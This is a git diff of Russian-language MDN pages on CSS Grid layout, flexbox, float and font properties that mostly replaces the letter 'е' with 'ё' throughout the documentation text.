                  grid-column-start: 1;
              @@ -531,7 +531,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout
               

              Примечание. Эта функция поставляется в браузере Firefox 71, который в настоящее время является единственным браузером для реализации subgrid.

              -

              В приведенном выше примере мы можем отредактировать вложенный грид, изменив grid-template-columns: repeat(3, 1fr), на grid-template-columns: subgrid. Вложенный грид будет использовать родительскую структуру треков, чтобы разместить свои дочерние элементы.

              +

              В приведённом выше примере мы можем отредактировать вложенный грид, изменив grid-template-columns: repeat(3, 1fr), на grid-template-columns: subgrid. Вложенный грид будет использовать родительскую структуру треков, чтобы разместить свои дочерние элементы.

              .box1 {
                  grid-column-start: 1;
              @@ -545,7 +545,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout
               
               

              Размещение элементов с помощью z-index

              -

              Несколько грид-элементов могут занимать одну и ту же ячейку. Если вернуться к нашему примеру с элементами, размещенными по номерам линий, мы можем сделать так, чтобы два элемента перекрывались:

              +

              Несколько грид-элементов могут занимать одну и ту же ячейку. Если вернуться к нашему примеру с элементами, размещёнными по номерам линий, мы можем сделать так, чтобы два элемента перекрывались:

              <div class="wrapper">
              diff --git a/files/ru/web/css/css_grid_layout/box_alignment_in_css_grid_layout/index.html b/files/ru/web/css/css_grid_layout/box_alignment_in_css_grid_layout/index.html
              index 8ea1b8d352..80d1ad38af 100644
              --- a/files/ru/web/css/css_grid_layout/box_alignment_in_css_grid_layout/index.html
              +++ b/files/ru/web/css/css_grid_layout/box_alignment_in_css_grid_layout/index.html
              @@ -5,9 +5,9 @@ translation_of: Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout
               ---
               

              Если вы знакомы с flexbox, вы уже столкнулись с тем, как гибкие элементы могут быть правильно выровнены внутри контейнера flex. Эти свойства выравнивания, которые мы впервые встретили в спецификации flexbox, были перенесены в новую спецификацию под названием Box Alignment Level 3. Эта спецификация содержит подробную информацию о том, как выравнивание должно работать во всех различных методах компоновки.

              -

              Каждый метод макета, который реализует выравнивание ящиков, будет иметь некоторые отличия из-за того, что каждый метод имеет разные функции и ограничения (и унаследованное поведение), что делает невозможным выравнивание точно таким же образом по всем направлениям. Спецификация Box Alignment содержит подробную информацию для каждого метода, однако вы были бы разочарованы, если бы попытались выполнить выравнивание по многим методам прямо сейчас, поскольку поддержка браузера еще не существует. Там, где у нас есть поддержка браузера для свойств выравнивания и распределения пространства из спецификации Box Alignment, в grid макета.

              +

              Каждый метод макета, который реализует выравнивание ящиков, будет иметь некоторые отличия из-за того, что каждый метод имеет разные функции и ограничения (и унаследованное поведение), что делает невозможным выравнивание точно таким же образом по всем направлениям. Спецификация Box Alignment содержит подробную информацию для каждого метода, однако вы были бы разочарованы, если бы попытались выполнить выравнивание по многим методам прямо сейчас, поскольку поддержка браузера ещё не существует. Там, где у нас есть поддержка браузера для свойств выравнивания и распределения пространства из спецификации Box Alignment, в grid макета.

              -

              В этом руководстве представлены демонстрации того, как работает выравнивание ячеек в макете. Вы увидите много общего в том, как эти свойства и ценности работают в flexbox. Из-за того, что сетка двумерна и однобочечна, существует несколько небольших различий, за которыми вы должны следить. Поэтому мы начнем с рассмотрения двух осей, с которыми мы сталкиваемся при выравнивании объектов в сетке.

              +

              В этом руководстве представлены демонстрации того, как работает выравнивание ячеек в макете. Вы увидите много общего в том, как эти свойства и ценности работают в flexbox. Из-за того, что сетка двумерна и однобочечна, существует несколько небольших различий, за которыми вы должны следить. Поэтому мы начнём с рассмотрения двух осей, с которыми мы сталкиваемся при выравнивании объектов в сетке.

              Две оси grid layout

              @@ -100,7 +100,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout

              Свойство {{cssxref ("align-items")}} устанавливает свойство {{cssxref ("align-self")}} для всех дочерних элементов сетки. Это означает, что вы можете установить свойство индивидуально, используя align-self по элементу сетки.

              -

              В следующем примере я использую свойство align-self, чтобы продемонстрировать различные значения выравнивания. В первой области отображается поведение по умолчанию для выравнивания, которое должно растягиваться. Второй элемент имеет значение самоограничения start, третий end и четвертый center.

              +

              В следующем примере я использую свойство align-self, чтобы продемонстрировать различные значения выравнивания. В первой области отображается поведение по умолчанию для выравнивания, которое должно растягиваться. Второй элемент имеет значение самоограничения start, третий end и четвёртый center.

          -

          В приведенном ниже примере у меня есть контейнер сетки размером 500 пикселей на 500 пикселей. Я определил 3 строки и столбцы, каждый из 100 пикселей с 10-пиксельным желобом. Это означает, что внутри контейнера сетки есть пространство как в блочном, так и в линейном направлениях.

          +

          В приведённом ниже примере у меня есть контейнер сетки размером 500 пикселей на 500 пикселей. Я определил 3 строки и столбцы, каждый из 100 пикселей с 10-пиксельным жёлобом. Это означает, что внутри контейнера сетки есть пространство как в блочном, так и в линейном направлениях.

          Свойство align-content применяется к контейнеру сетки, поскольку оно работает на всей сетке. Поведение по умолчанию в макете сетки start, поэтому наши дорожки сетки находятся в верхнем левом углу сетки, выровнены по отношению к стартовым линиям сетки:

          @@ -499,7 +499,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout

          Стоит отметить, что использование этих значений пространственного распределения может привести к увеличению элементов в вашей сетке. Если элемент охватывает более одной дорожки сетки, так как дополнительное пространство добавляется между дорожками, этот предмет должен стать большим, чтобы поглотить пространство. Мы всегда работаем в строгой сетке. Поэтому, если вы решите использовать эти значения, убедитесь, что содержимое ваших треков может справиться с дополнительным пространством или что вы использовали свойства выравнивания для элементов, чтобы заставить их перемещаться в начало, а не растягиваться.

          -

          В приведенном ниже изображении я поместил сетку с align-content, со значением start рядом с сеткой, когда значение align-content имеет значение space-between. Вы можете видеть, как элементы 1 и 2, которые охватывают два ряда дорожек, взяты на дополнительной высоте, поскольку они получают дополнительное пространство, добавленное к промежутку между этими двумя дорожками:

          +

          В приведённом ниже изображении я поместил сетку с align-content, со значением start рядом с сеткой, когда значение align-content имеет значение space-between. Вы можете видеть, как элементы 1 и 2, которые охватывают два ряда дорожек, взяты на дополнительной высоте, поскольку они получают дополнительное пространство, добавленное к промежутку между этими двумя дорожками:

          Demonstrating how items become larger if we use space-between.

          diff --git a/files/ru/web/css/css_grid_layout/css_grid_logical_values_and_writing_modes/index.html b/files/ru/web/css/css_grid_layout/css_grid_logical_values_and_writing_modes/index.html index a481d519ad..d94570b6f2 100644 --- a/files/ru/web/css/css_grid_layout/css_grid_logical_values_and_writing_modes/index.html +++ b/files/ru/web/css/css_grid_layout/css_grid_logical_values_and_writing_modes/index.html @@ -8,7 +8,7 @@ original_slug: Web/CSS/CSS_Grid_Layout/CSS_Grid,_Logical_Values_and_Writing_Mode

          Логические и физические свойства и ценности

          -

          CSS полон физических слов позиционирования - слева и справа, сверху и снизу. Если мы позиционируем элемент с использованием абсолютного позиционирования, мы используем эти физические ключевые слова в качестве значений смещения, чтобы обжимать элемент вокруг. В нижеприведенном фрагменте кода элемент помещается в 20 пикселей сверху и 30 пикселей слева от контейнера:

          +

          CSS полон физических слов позиционирования - слева и справа, сверху и снизу. Если мы позиционируем элемент с использованием абсолютного позиционирования, мы используем эти физические ключевые слова в качестве значений смещения, чтобы обжимать элемент вокруг. В нижеприведённом фрагменте кода элемент помещается в 20 пикселей сверху и 30 пикселей слева от контейнера:

          .container {
             position: relative;
          @@ -25,15 +25,15 @@ original_slug: Web/CSS/CSS_Grid_Layout/CSS_Grid,_Logical_Values_and_Writing_Mode
           </div>
           
          -

          Еще одно место, где вы можете увидеть используемые физические ключевые слова, - это использовать text-align: right выравнивать текст вправо. В CSS есть также физические свойства. Мы добавляем поля, дополнения и границы, используя эти физические свойства {{cssxref ("margin-left")}}, {{cssxref ("padding-left")}} и т. д.

          +

          Ещё одно место, где вы можете увидеть используемые физические ключевые слова, - это использовать text-align: right выравнивать текст вправо. В CSS есть также физические свойства. Мы добавляем поля, дополнения и границы, используя эти физические свойства {{cssxref ("margin-left")}}, {{cssxref ("padding-left")}} и т. д.

          Мы называем эти ключевые слова и свойства физическими, потому что они относятся к экрану, на который вы смотрите. Слева всегда слева, независимо от того, в каком направлении работает ваш текст.

          -

          Это может стать проблемой при разработке сайта, который должен работать на нескольких языках, включая языки с текстом, начинающимся справа, а не слева. Браузеры хорошо справляются с направлением текста и вам даже не нужно работать на языке {{glossary ("rtl")}}, чтобы посмотреть. В приведенном ниже примере у меня есть два абзаца. У одного не установлено {{cssxref ("text-align")}}, второе имеет выравнивание текста (text-align) влево. Я добавил dir = "rtl" в элемент html, который переключает режим записи по умолчанию для документа на английском языке ltr. Вы можете видеть, что первый абзац остается слева направо, из-за оставленного значения выравнивания текста. Второе, однако, переключает направление и текст пробегает справа налево.

          +

          Это может стать проблемой при разработке сайта, который должен работать на нескольких языках, включая языки с текстом, начинающимся справа, а не слева. Браузеры хорошо справляются с направлением текста и вам даже не нужно работать на языке {{glossary ("rtl")}}, чтобы посмотреть. В приведённом ниже примере у меня есть два абзаца. У одного не установлено {{cssxref ("text-align")}}, второе имеет выравнивание текста (text-align) влево. Я добавил dir = "rtl" в элемент html, который переключает режим записи по умолчанию для документа на английском языке ltr. Вы можете видеть, что первый абзац остаётся слева направо, из-за оставленного значения выравнивания текста. Второе, однако, переключает направление и текст пробегает справа налево.

          A simple example of text direction.

          -

          Это очень простой пример проблемы с физическими значениями и свойствами, которые используются в CSS. Они не позволяют браузеру выполнять работу по переключению режима записи, поскольку они делают предположение, что текст течет слева направо и сверху вниз.

          +

          Это очень простой пример проблемы с физическими значениями и свойствами, которые используются в CSS. Они не позволяют браузеру выполнять работу по переключению режима записи, поскольку они делают предположение, что текст течёт слева направо и сверху вниз.

          Логические свойства и значения

          @@ -41,13 +41,13 @@ original_slug: Web/CSS/CSS_Grid_Layout/CSS_Grid,_Logical_Values_and_Writing_Mode

          Block и Inline

          -

          Как только мы начнем заниматься логическими, а не физическими свойствами, мы перестаем видеть мир как слева направо, так и сверху вниз. Нам нужна новая контрольная точка и именно здесь понимание использования блока и встроенных осей, которые мы встретили ранее в руководстве по выравниванию, становится очень полезным. Если вы можете начать видеть макет с точки зрения блочного и встроенного, то, как все работает в сетке, становится намного больше смысла.

          +

          Как только мы начнём заниматься логическими, а не физическими свойствами, мы перестаём видеть мир как слева направо, так и сверху вниз. Нам нужна новая контрольная точка и именно здесь понимание использования блока и встроенных осей, которые мы встретили ранее в руководстве по выравниванию, становится очень полезным. Если вы можете начать видеть макет с точки зрения блочного и встроенного, то, как все работает в сетке, становится намного больше смысла.

          An image showing the default direction of the Block and Inline Axes.

          Режимы записи CSS

          -

          Я собираюсь представить здесь еще одну спецификацию, которую я буду использовать в своих примерах: спецификация CSS Writing Modes. Эта спецификация подробно описывает, как мы можем использовать эти разные режимы записи в CSS, а не только для поддержки языков, которые имеют другой режим записи на английском языке, но также и для творческих целей. Я буду использовать свойство {{cssxref ("write-mode")}}, чтобы внести изменения в режим записи, применяемый к нашей сетке, чтобы продемонстрировать, как работают логические значения. Однако, если вы хотите, чтобы вы меняли в режиме записи, я бы рекомендовал вам прочитать Jen Simmons отличную статью о CSS Writing Modes. Это более подробно описано в этой спецификации, чем мы коснемся здесь.

          +

          Я собираюсь представить здесь ещё одну спецификацию, которую я буду использовать в своих примерах: спецификация CSS Writing Modes. Эта спецификация подробно описывает, как мы можем использовать эти разные режимы записи в CSS, а не только для поддержки языков, которые имеют другой режим записи на английском языке, но также и для творческих целей. Я буду использовать свойство {{cssxref ("write-mode")}}, чтобы внести изменения в режим записи, применяемый к нашей сетке, чтобы продемонстрировать, как работают логические значения. Однако, если вы хотите, чтобы вы меняли в режиме записи, я бы рекомендовал вам прочитать Jen Simmons отличную статью о CSS Writing Modes. Это более подробно описано в этой спецификации, чем мы коснёмся здесь.

          writing-mode

          @@ -61,7 +61,7 @@ original_slug: Web/CSS/CSS_Grid_Layout/CSS_Grid,_Logical_Values_and_Writing_Mode
        10. sideways-lr
        11. -

          Значение horizontal-tb является значением по умолчанию для текста в Интернете. Это направление, в котором вы читаете это руководство. Другие свойства изменят способ передачи текста в нашем документе, соответствующий различным режимам записи, найденным по всему миру. Опять же, для получения полной информации об этом см. Jen’s article. В качестве простого примера у меня есть два параграфа ниже. Первый использует по умолчанию horizontal-tb, а второй использует vertical-rl. В тексте режима все еще выполняется влево-вправо, однако направление текста вертикально - встроенный текст теперь проходит вниз по странице, сверху вниз.

          +

          Значение horizontal-tb является значением по умолчанию для текста в Интернете. Это направление, в котором вы читаете это руководство. Другие свойства изменят способ передачи текста в нашем документе, соответствующий различным режимам записи, найденным по всему миру. Опять же, для получения полной информации об этом см. Jen’s article. В качестве простого примера у меня есть два параграфа ниже. Первый использует по умолчанию horizontal-tb, а второй использует vertical-rl. В тексте режима все ещё выполняется влево-вправо, однако направление текста вертикально - встроенный текст теперь проходит вниз по странице, сверху вниз.

          -

          При определении сетки я задаю линиям имена, помещая их внутри квадратных скобок. Можете использовать любые имена, какие вам нравятся. Я задал имена main-start для начала и main-end для конца контейнера, причем как для строк, так и для столбцов. Затем определил центральный блок сетки как content-start и content-end, опять же как для столбцов, так и для строк. Но вам необязательно именовать все линии в вашей сетке, можете именовать только опорные линии вашего макета.

          +

          При определении сетки я задаю линиям имена, помещая их внутри квадратных скобок. Можете использовать любые имена, какие вам нравятся. Я задал имена main-start для начала и main-end для конца контейнера, причём как для строк, так и для столбцов. Затем определил центральный блок сетки как content-start и content-end, опять же как для столбцов, так и для строк. Но вам необязательно именовать все линии в вашей сетке, можете именовать только опорные линии вашего макета.

          .wrapper {
             display: grid;
          @@ -77,15 +77,15 @@ translation_of: Web/CSS/CSS_Grid_Layout/Layout_using_Named_Grid_Lines
           
           

          Теперь при линейном размещении вы можете смешивать номера строк или их имена. Именование строк полезно при создании адаптивного дизайна, в котором вы переопределяете саму сетку, а не положение содержимого внутри сетки.

          -

          Присвоение линиям нескольких имен

          +

          Присвоение линиям нескольких имён

          При необходимости можно присвоить строке более одного имени. Например, sidebar-end для обозначении конца области sidebar, и main-start для начала области main. Укажите имена внутри квадратных скобок через пробел [sidebar-end main-start]. В дальнейшем вы можете обращаться к этой строке по любому из этих имен.

          Неявные области сетки из именованных линий

          -

          Ранее уже упоминалось, что вы можете выбирать для линий любые имена. Такое имя является custom ident - именем, определяемым автором. При выборе имени вам нужно избегать слов, которые могут использоваться в спецификации, что приведет к путанице - например, span. Идентификаторы не заключаются в кавычки.

          +

          Ранее уже упоминалось, что вы можете выбирать для линий любые имена. Такое имя является custom ident - именем, определяемым автором. При выборе имени вам нужно избегать слов, которые могут использоваться в спецификации, что приведёт к путанице - например, span. Идентификаторы не заключаются в кавычки.

          -

          Хотя вы можете выбрать любые имена, но если вы добавляете -start и -end к линиям вокруг области, как в приведенном выше примере, то сетка создаст вам именованную область основного используемого имени. Возьмем приведенный выше пример, у меня есть content-start и content-end как для строк, так и для столбцов. Это означает, что будет создана также область сетки с именем content, которую можно по своему усмотрению.

          +

          Хотя вы можете выбрать любые имена, но если вы добавляете -start и -end к линиям вокруг области, как в приведённом выше примере, то сетка создаст вам именованную область основного используемого имени. Возьмём приведённый выше пример, у меня есть content-start и content-end как для строк, так и для столбцов. Это означает, что будет создана также область сетки с именем content, которую можно по своему усмотрению.

          -

          Вы можете использовать ключевое слово span. Следующий элемент будет расположен начиная с седьмой линии и займет три линии.

          +

          Вы можете использовать ключевое слово span. Следующий элемент будет расположен начиная с седьмой линии и займёт три линии.

          .item2 {
             grid-column: col-start 7 / span 3;
          @@ -293,14 +293,14 @@ translation_of: Web/CSS/CSS_Grid_Layout/Layout_using_Named_Grid_Lines
           
           

          The 12 column grid with items placed. The Grid Highlighter shows the position of the lines.

          -

          Синтаксис повтора также может принимать трек-лист , это не просто должен быть один размер трека, который повторяется. Приведенный ниже код создаст сетку из восьми дорожек с более узким столбцом ширины 1fr с именем col1-start и более широким столбцом 3fr с именем col2-start.

          +

          Синтаксис повтора также может принимать трек-лист , это не просто должен быть один размер трека, который повторяется. Приведённый ниже код создаст сетку из восьми дорожек с более узким столбцом ширины 1fr с именем col1-start и более широким столбцом 3fr с именем col2-start.

          .wrapper {
             grid-template-columns: repeat(4, [col1-start] 1fr [col2-start] 3fr);
           }
           
          -

          Если Ваш повторяющийся синтаксис помещает две строки рядом друг с другом, то они будут объединены и создадут тот же результат, что и присвоение строке нескольких имен в неповторяющемся определении трека. Следующее определение создает четыре трека 1fr, каждый из которых имеет начальную и конечную линии.

          +

          Если Ваш повторяющийся синтаксис помещает две строки рядом друг с другом, то они будут объединены и создадут тот же результат, что и присвоение строке нескольких имён в неповторяющемся определении трека. Следующее определение создаёт четыре трека 1fr, каждый из которых имеет начальную и конечную линии.

          .wrapper {
             grid-template-columns: repeat(4, [col-start] 1fr [col-end] );
          @@ -314,7 +314,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Layout_using_Named_Grid_Lines
           }
           
          -

          Если вы использовали список треков, то вы можете использовать ключевое слово span не только для охвата ряда строк, но и для охвата ряда строк с определенным именем..

          +

          Если вы использовали список треков, то вы можете использовать ключевое слово span не только для охвата ряда строк, но и для охвата ряда строк с определённым именем..

          -

          За последние три руководства вы обнаружили, что существует множество различных способов размещения элементов с помощью сетки. На первый взгляд это может показаться чрезмерно сложным, но помните, что вам не нужно использовать их все. На практике я нахожу, что для простых макетов хорошо работает использование именованных областей шаблонов, это дает хорошее визуальное представление о том, как выглядит ваш макет, и возможность легко перемещать элементы по сетке.

          +

          За последние три руководства вы обнаружили, что существует множество различных способов размещения элементов с помощью сетки. На первый взгляд это может показаться чрезмерно сложным, но помните, что вам не нужно использовать их все. На практике я нахожу, что для простых макетов хорошо работает использование именованных областей шаблонов, это даёт хорошее визуальное представление о том, как выглядит ваш макет, и возможность легко перемещать элементы по сетке.

          Если вы работаете со строгим макетом из нескольких столбцов, например, демонстрация именованных строк в последней части этого руководства работает очень хорошо. Если вы рассматриваете сеточные системы, в таких фреймворках, как Foundation или Bootstrap, которые основаны на сетке из 12 столбцов. Затем фреймворк импортирует код для выполнения всех вычислений, чтобы убедиться, что столбцы складываются до 100%. С помощью Grid layout единственный код, который нам нужен для нашего грид-фреймворка, - это:

          @@ -372,7 +372,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Layout_using_Named_Grid_Lines }
          -

          Затем мы можем использовать этот фреймворк для верстки нашей страницы. Например, чтобы создать макет из трех столбцов с верхним и нижним колонтитулами, у меня может быть следующая разметка.

          +

          Затем мы можем использовать этот фреймворк для вёрстки нашей страницы. Например, чтобы создать макет из трёх столбцов с верхним и нижним колонтитулами, у меня может быть следующая разметка.

          -

          Это все, что мне нужно. Мне не нужно делать никаких вычислений, сетка автоматически удалила мою 10- пиксельную дорожку желоба, прежде чем назначить пространство для треков столбцов 1fr. Когда вы начнете создавать свои собственные макеты, вы обнаружите, что синтаксис становится более знакомым, и вы выбираете способы, которые лучше всего подходят для вас, а также тип проектов,которые вам нравятся. Попробуйте построить несколько общих шаблонов с помощью этих различных методов, и вскоре вы найдете свой самый продуктивный способ работы. В следующем руководстве мы рассмотрим, как сетка может размещать элементы для нас - без необходимости использовать свойства размещения вообще!

          +

          Это все, что мне нужно. Мне не нужно делать никаких вычислений, сетка автоматически удалила мою 10- пиксельную дорожку желоба, прежде чем назначить пространство для треков столбцов 1fr. Когда вы начнёте создавать свои собственные макеты, вы обнаружите, что синтаксис становится более знакомым, и вы выбираете способы, которые лучше всего подходят для вас, а также тип проектов,которые вам нравятся. Попробуйте построить несколько общих шаблонов с помощью этих различных методов, и вскоре вы найдёте свой самый продуктивный способ работы. В следующем руководстве мы рассмотрим, как сетка может размещать элементы для нас - без необходимости использовать свойства размещения вообще!

      Формальный синтаксис

      diff --git a/files/ru/web/css/flex-grow/index.html b/files/ru/web/css/flex-grow/index.html index 3ce8182a72..740a6a9560 100644 --- a/files/ru/web/css/flex-grow/index.html +++ b/files/ru/web/css/flex-grow/index.html @@ -12,7 +12,7 @@ translation_of: Web/CSS/flex-grow ---
      {{CSSRef}}
      -

      CSS-свойство flex-grow определяет как много свободного пространства во flex-контейнере должно быть назначено текущему элементу (flex grow factor — «коэффициент увеличения flex»). Свободное пространство — разница между размером flex-контейнера и размером всех его flex-элементов вместе. Если все sibling-элементы (sibling items — элементы одного уровня вложенности, состоящие по отношению друг к другу в родственной связи как брат или сестра), имеют одинаковый коэффициент flex-grow, то все они получат одинаковую долю свободного пространства, в противном случае оно распределяется в соответствии с соотношением, определенным различными коэффициентами flex-grow.

      +

      CSS-свойство flex-grow определяет как много свободного пространства во flex-контейнере должно быть назначено текущему элементу (flex grow factor — «коэффициент увеличения flex»). Свободное пространство — разница между размером flex-контейнера и размером всех его flex-элементов вместе. Если все sibling-элементы (sibling items — элементы одного уровня вложенности, состоящие по отношению друг к другу в родственной связи как брат или сестра), имеют одинаковый коэффициент flex-grow, то все они получат одинаковую долю свободного пространства, в противном случае оно распределяется в соответствии с соотношением, определённым различными коэффициентами flex-grow.

      На практике flex-grow используется вместе с другими flex-свойствами {{cssxref("flex-shrink")}} и {{cssxref("flex-basis")}}, и обычно определяется с помощью сокращения (shorthand) {{cssxref("flex")}}, чтобы убедиться, что все значения заданы.

      diff --git a/files/ru/web/css/flex-wrap/index.html b/files/ru/web/css/flex-wrap/index.html index 345b55bbaa..339db730a5 100644 --- a/files/ru/web/css/flex-wrap/index.html +++ b/files/ru/web/css/flex-wrap/index.html @@ -5,7 +5,7 @@ translation_of: Web/CSS/flex-wrap ---
      {{ CSSRef}}
      -

      Свойство CSS flex-wrap задает правила вывода flex-элементов —  в одну строку или в несколько, с переносом блоков. Если перенос разрешен, то возможно задать направление, в котором выводятся блоки.

      +

      Свойство CSS flex-wrap задаёт правила вывода flex-элементов —  в одну строку или в несколько, с переносом блоков. Если перенос разрешён, то возможно задать направление, в котором выводятся блоки.

      flex-wrap: nowrap;
       flex-wrap: wrap;
      diff --git a/files/ru/web/css/flex/index.html b/files/ru/web/css/flex/index.html
      index a0a28a86d8..e490167e82 100644
      --- a/files/ru/web/css/flex/index.html
      +++ b/files/ru/web/css/flex/index.html
      @@ -7,7 +7,7 @@ translation_of: Web/CSS/flex
       
       

      Описание

      -

      Свойство CSS flex - это сокращенное свойство, определяющее способность гибкого элемента растягиваться или сжиматься для заполнения собой доступного свободного пространства. Это свойство устанавливает flex-grow, flex-shrink и flex-basis.

      +

      Свойство CSS flex - это сокращённое свойство, определяющее способность гибкого элемента растягиваться или сжиматься для заполнения собой доступного свободного пространства. Это свойство устанавливает flex-grow, flex-shrink и flex-basis.

      {{cssinfo}}

      diff --git a/files/ru/web/css/float/index.html b/files/ru/web/css/float/index.html index d14d73e420..340654bd11 100644 --- a/files/ru/web/css/float/index.html +++ b/files/ru/web/css/float/index.html @@ -3,7 +3,7 @@ title: float slug: Web/CSS/float translation_of: Web/CSS/float --- -
      Свойство float CSS указывает, что элемент должен быть взят из нормального потока и помещен вдоль левой или правой стороны его контейнера, где текст и встроенные элементы будут обтекать его.{{CSSRef}}
      +
      Свойство float CSS указывает, что элемент должен быть взят из нормального потока и помещён вдоль левой или правой стороны его контейнера, где текст и встроенные элементы будут обтекать его.{{CSSRef}}

      Summary

      diff --git a/files/ru/web/css/font-family/index.html b/files/ru/web/css/font-family/index.html index 79b25a5265..44df7fc34e 100644 --- a/files/ru/web/css/font-family/index.html +++ b/files/ru/web/css/font-family/index.html @@ -49,7 +49,7 @@ font-family: unset;

      Свойство font-family получает список из одного или более семейства шрифтов, разделённые запятыми. Каждое семейство шрифтов определяется как <family-name> или <generic-name>.

      -

      В приведенном ниже примере перечислены два семейства шрифтов, первое <family-name>, а второе как <generic-name>:

      +

      В приведённом ниже примере перечислены два семейства шрифтов, первое <family-name>, а второе как <generic-name>:

      font-family: Gill Sans Extrabold, sans-serif;
      diff --git a/files/ru/web/css/font-variant-ligatures/index.html b/files/ru/web/css/font-variant-ligatures/index.html index f8545cc836..0415ac37bb 100644 --- a/files/ru/web/css/font-variant-ligatures/index.html +++ b/files/ru/web/css/font-variant-ligatures/index.html @@ -35,18 +35,18 @@ font-variant-ligatures: unset;
      normal
      -
      Это ключевое слово ведет к активации обычных лигатур и контекстных форм, необходимых для корректного рендеринга. Активируемые лигатуры и формы зависят от шрифта, языка и типа письма. Это значение по умолчанию.
      +
      Это ключевое слово ведёт к активации обычных лигатур и контекстных форм, необходимых для корректного рендеринга. Активируемые лигатуры и формы зависят от шрифта, языка и типа письма. Это значение по умолчанию.
      none
      Это ключевое слово устанавливает, что все лигатуры и контекстные формы отключены, даже распространенные.
      <common-lig-values>
      -
      Эти значения контролируют наиболее распространенные лигатуры, такие как лигатуры для сочетаний fi, ffi, th или подобных. Они относятся к значениям liga и clig в OpenType. Допустимы два значения: +
      Эти значения контролируют наиболее распространённые лигатуры, такие как лигатуры для сочетаний fi, ffi, th или подобных. Они относятся к значениям liga и clig в OpenType. Допустимы два значения:
      • common-ligatures активирует эти лигатуры. Обратите внимание, что ключевое слово normal активирует лигатуры.
      • no-common-ligatures отключает эти лигатуры.
      <discretionary-lig-values>
      -
      Эти значения управляют определенными лигатурами, специфичными для шрифта и определяемыми дизайнером шрифта. Они соответствуют значениям OpenType hlig. Доступны два значения: +
      Эти значения управляют определёнными лигатурами, специфичными для шрифта и определяемыми дизайнером шрифта. Они соответствуют значениям OpenType hlig. Доступны два значения:
      • discretionary-ligatures активирует данные лигатуры.
      • no-discretionary-ligatures деактивирует лигатуры. Обратите внимание, обычно, ключевое слово normal также деактивирует лигатуры.
      • diff --git a/files/ru/web/css/font-weight/index.html b/files/ru/web/css/font-weight/index.html index 386ede4092..1c15a5c863 100644 --- a/files/ru/web/css/font-weight/index.html +++ b/files/ru/web/css/font-weight/index.html @@ -132,7 +132,7 @@ font-weight: unset;

        Определение веса имени

        -

        Значения от 100 до 900, примерно, соответствуют следующим распространенным именам насыщенности:

        +

        Значения от 100 до 900, примерно, соответствуют следующим распространённым именам насыщенности:

      {{SpecName('CSS4 Colors', '#colorunits', '<color>')}} {{Spec2('CSS4 Colors')}}Добавляет rebeccapurple, четырехзначные (#RGBA) и восьмизначные (#RRGGBBAA) шестнадцатеричные обозначения, rgba() и hsla() в качестве псевдонимов rgb () и hsl () (оба с одинаковым синтаксисом параметров), разделенные пробелами параметры функции в качестве альтернативы запятым, проценты для Альфа-значений и углы для компонента оттенка в цветах hsl ().Добавляет rebeccapurple, четырёхзначные (#RGBA) и восьмизначные (#RRGGBBAA) шестнадцатеричные обозначения, rgba() и hsla() в качестве псевдонимов rgb () и hsl () (оба с одинаковым синтаксисом параметров), разделённые пробелами параметры функции в качестве альтернативы запятым, проценты для Альфа-значений и углы для компонента оттенка в цветах hsl ().
      {{SpecName('CSS3 Colors', '#colorunits', '<color>')}}
      @@ -176,14 +176,14 @@ font-weight: unset; - +
      900Черный (Густой) Black (Heavy)Чёрный (Густой) Black (Heavy)

      Интерполяция

      -

      Значения font-weight интерполируются  с помощью дискретных шагов (кратные 100). Интерполяция происходит в действительном пространстве чисел и превращается в целое число путем округления до ближайшего числа, кратного 100, со значениями посредине между кратными 100 округленными в сторону положительной бесконечности.

      +

      Значения font-weight интерполируются  с помощью дискретных шагов (кратные 100). Интерполяция происходит в действительном пространстве чисел и превращается в целое число путём округления до ближайшего числа, кратного 100, со значениями посредине между кратными 100 округлёнными в сторону положительной бесконечности.

      Формальный синтаксис

      @@ -214,7 +214,7 @@ p { } /* Назначение тексту элемента <div> жирности, которая больше на два уровня, -чем normal, но все еще меньше, чем стандартный bold. */ +чем normal, но все ещё меньше, чем стандартный bold. */ div { font-weight: 600; } diff --git a/files/ru/web/css/font/index.html b/files/ru/web/css/font/index.html index dc3278e054..329684753a 100644 --- a/files/ru/web/css/font/index.html +++ b/files/ru/web/css/font/index.html @@ -11,7 +11,7 @@ translation_of: Web/CSS/font -

      Как и с любым сокращенным свойством, любое значение, которое не указано, устанавливается в начальное значение (возможно, переопределяя значения, ранее установленные с использованием не сокращенных свойств). Свойства {{cssxref ("font-size-Adjust")}} и {{cssxref ("font-kerning")}} хоть и не могут быть напрямую установлены с помощью font, но они также сбрасываются к своим начальным значениям.

      +

      Как и с любым сокращённым свойством, любое значение, которое не указано, устанавливается в начальное значение (возможно, переопределяя значения, ранее установленные с использованием не сокращённых свойств). Свойства {{cssxref ("font-size-Adjust")}} и {{cssxref ("font-kerning")}} хоть и не могут быть напрямую установлены с помощью font, но они также сбрасываются к своим начальным значениям.

      Синтаксис

      diff --git a/files/ru/web/css/grid-area/index.html b/files/ru/web/css/grid-area/index.html index dcbbae226f..2712892e54 100644 --- a/files/ru/web/css/grid-area/index.html +++ b/files/ru/web/css/grid-area/index.html @@ -3,7 +3,7 @@ title: grid-area slug: Web/CSS/grid-area translation_of: Web/CSS/grid-area --- -

      CSS свойство grid-area - это сокращенная форма записи для свойств {{cssxref("grid-row-start")}}, {{cssxref("grid-column-start")}}, {{cssxref("grid-row-end")}} и {{cssxref("grid-column-end")}}. Определяет размер и местоположение грид-элемента в пределах {{glossary("grid rows", "grid row")}}. Задает края {{glossary("grid areas", "грид-области")}} грид-элемента.

      +

      CSS свойство grid-area - это сокращённая форма записи для свойств {{cssxref("grid-row-start")}}, {{cssxref("grid-column-start")}}, {{cssxref("grid-row-end")}} и {{cssxref("grid-column-end")}}. Определяет размер и местоположение грид-элемента в пределах {{glossary("grid rows", "grid row")}}. Задаёт края {{glossary("grid areas", "грид-области")}} грид-элемента.

      /* Ключевые слова в качестве значений */
       grid-area: auto;
      @@ -30,7 +30,7 @@ grid-area: initial;
       grid-area: unset;
       
      -

      Если заданы четыре значения <grid-line> , то первое значение определяет grid-row-start , второе значение -  grid-column-start , третье значение -  grid-row-end и четвертое значение -  grid-column-end.

      +

